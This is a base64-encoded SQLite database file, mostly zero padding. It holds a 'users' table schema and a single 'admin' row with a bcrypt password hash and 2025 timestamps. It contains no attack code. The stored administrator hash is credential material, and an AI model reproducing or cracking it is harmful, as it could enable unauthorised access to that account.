AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFADBhcrKwFZdGFibGVzcWxpdGVfc2VxdWVuY2VzcWxpdGVfc2VxdWVuY2UEQ1JFQVRFIFRBQkxFIHNxbGl0ZV9zZXF1ZW5jZShuYW1lLHNlcSmDOAEHFxcXAYZPdGFibGV1c2Vyc3VzZXJzAkNSRUFURSBUQUJMRSB1c2VycyAoCiAgICAgICAgICAgIGlkIElOVEVHRVIgUFJJTUFSWSBLRVkgQVVUT0lOQ1JFTUVOVCwKICAgICAgICAgICAgdXNlcm5hbWUgVEVYVCBVTklRVUUgTk9UIE5VTEwsCiAgICAgICAgICAgIHBhc3N3b3JkIFRFWFQgTk9UIE5VTEwsCiAgICAgICAgICAgIGlzX2FkbWluIElOVEVHRVIgREVGQVVMVCAwLAogICAgICAgICAgICBuYW1lIFRFWFQsCiAgICAgICAgICAgIGJpbyBURVhULAogICAgICAgICAgICBpbnRlcmVzdHMgVEVYVCwKICAgICAgICAgICAgcGhvbmUgVEVYVCwKICAgICAgICAgICAgcHJvZmlsZV9waWMgVEVYVCwKICAgICAgICAgICAgbGFzdF9sb2dpbiBEQVRFVElNRSwKICAgICAgICAgICAgY3JlYXRlZF9hdCBEQVRFVElNRSBERUZBVUxUIENVUlJFTlRfVElNRVNUQU1QCiAgICAgICAgKSkCBhc9FwEAaW5kZXhzcWxpdGVfYXV0b2luZGV4X3VzZXJzXzF1c2VycwMAAAAIAAAAAA0AAAABD3wAD3wPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBAQENABeBBQknAAAAADMzYWRtaW4kMnkkMTIkdTBBQzZmcFF1ME1KdDd1SjgwdE0uT2g0bEVtQ01ndkJzM1B3Tk5aSVI3bG9yMDVJTkczdjJBZG1pbmlzdHJhdG9yMjAyNS0wOC0xMCAxMzowMDowODIwMjUtMDgtMTAgMTI6NTk6MzkKAAAAAQ/3AA/3D+8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAACAMXCWFkbWluDQAAAAEP9QAP9QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA